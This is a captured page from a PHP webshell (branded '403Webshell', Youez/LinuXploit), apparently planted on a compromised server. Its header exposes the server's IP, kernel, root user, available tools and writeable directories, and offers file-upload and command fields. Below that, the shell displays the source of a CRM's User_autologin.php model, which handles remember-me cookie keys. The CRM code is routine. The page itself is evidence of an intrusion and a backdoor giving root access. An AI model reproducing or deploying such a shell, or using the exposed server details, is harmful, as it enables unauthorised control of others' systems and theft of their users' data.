403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.252
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/wit-crm/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/wit-crm/application/models/User_autologin.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

class User_Autologin extends App_Model
{
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Check if autologin found
     * @param  mixed $user_id clientid/staffid
     * @param  string $key     key from cookie to retrieve from database
     * @return mixed
     */
    public function get($user_id, $key)
    {
        // check if user is staff
        $this->db->where('user_id', $user_id);
        $this->db->where('key_id', $key);
        $user = $this->db->get(db_prefix() . 'user_auto_login')->row();
        if (!$user) {
            return null;
        }
        if ($user->staff == 1) {
            $table = db_prefix() . 'staff';
            $this->db->select($table . '.staffid as id');
            $_id   = 'staffid';
            $staff = true;
        } else {
            $table = db_prefix() . 'contacts';
            $this->db->select($table . '.id as id');
            $_id   = 'id';
            $staff = false;
        }
        $this->db->select($table . '.' . $_id);
        $this->db->from($table);
        $this->db->join(db_prefix() . 'user_auto_login', db_prefix() . 'user_auto_login.user_id = ' . $table . '.' . $_id);
        $this->db->where(db_prefix() . 'user_auto_login.user_id', $user_id);
        $this->db->where(db_prefix() . 'user_auto_login.key_id', $key);
        $query = $this->db->get();
        if ($query) {
            if ($query->num_rows() == 1) {
                $user        = $query->row();
                $user->staff = $staff;

                return $user;
            }
        }

        return null;
    }

    /**
     * Set new autologin if user have clicked remember me
     * @param mixed $user_id clientid/userid
     * @param string $key     cookie key
     * @param integer $staff   is staff or client
     */
    public function set($user_id, $key, $staff)
    {
        return $this->db->insert(db_prefix() . 'user_auto_login', [
            'user_id'    => $user_id,
            'key_id'     => $key,
            'user_agent' => substr($this->input->user_agent(), 0, 149),
            'last_ip'    => $this->input->ip_address(),
            'staff'      => $staff,
        ]);
    }

    /**
     * Delete user autologin
     * @param  mixed $user_id clientid/userid
     * @param  string $key     cookie key
     * @param integer $staff   is staff or client
     */
    public function delete($user_id, $key, $staff)
    {
        $this->db->where('user_id', $user_id);
        $this->db->where('key_id', $key);
        $this->db->where('staff', $staff);
        $this->db->delete(db_prefix() . 'user_auto_login');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit